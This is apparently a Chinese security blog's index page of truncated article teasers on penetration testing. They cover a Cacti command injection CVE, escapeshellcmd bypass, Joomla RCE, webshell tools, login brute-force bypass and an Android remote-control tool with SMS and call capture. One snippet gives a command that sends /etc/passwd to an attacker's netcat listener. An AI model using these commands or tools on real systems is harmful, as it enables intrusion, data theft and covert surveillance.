影响描述 CVE-2024-29895为命令注入漏洞，攻击者可在Cacti服务器的PHP元件启用register_argc_argv功能的情况下，对服务器下达任意命令，过程中无须通过身份验证，CVSS风险评为10分。 poc&ex...

先看一个例子 本地测试环境：PHP 5.4.45 + Win <?php     $command = 'dir '.$_POST['dir'];     $escaped_command = escapeshellcmd($command);     var_dump($escap...

靶机无回显的情况下，可使用 cancel  来把回显发送到攻击机端 cancel -u '$(cat /etc/passwd)' -h ip:port 攻击机用nc来接收返回信息 nc -lvvp [port] 实例演示： 攻击机ip：192...

前情提要 众所周知，openai官方开放了web端的GPT-3.5-Turbo模型，无需登陆，无需付费即可无限使用。但很多群友不想时刻挂梯子访问官方web，同时又有一些插件或者项目需要直接调用api来使用（比...

访问网站主页，是一个博客网站 常规的目录扫描 这里发现一个疑似后台地址，访问 http://192.168.2.252/administrator/ 为 joomla 站点，印象中记得有 rce 的漏洞，上网寻找相关脚本进行利...

frida hook 环境搭建 安装模块 安装 frida 模块和 frida-tools 模块 python -m pip install frida python -m pip install frida-tools 安装 adb https://developer.android.com/studio/releases...

1 Cknife 一款 webshell 连接工具，项目地址：https://github.com/Chora10/Cknife 工具启动： /usr/lib/jvm/jdk1.8.0_281/bin/java -jar Cknife.jar & 工具的使用： 常见的一句话后门样例：...

buro暴力破解保护失效绕过IP 封锁之登录次数限制

引言 在渗透过程中，经常会遇到 nmap 扫描不出端口的情况，web 端口确定开放，且用网上的在线端口扫描是可以扫描到的，但是 nmap 就是无法扫出来，因此花了些时间写了 2 个基于 python 端口扫描...

介绍:moukthar Android远程管理工具（安卓网页控），需自己搭建网页端，网页端就是你的控制台！下面是搭建教程。建议使用纯净linux系统！ 功能 通知监听器 短信监听 电话录音 图像捕获和屏幕截...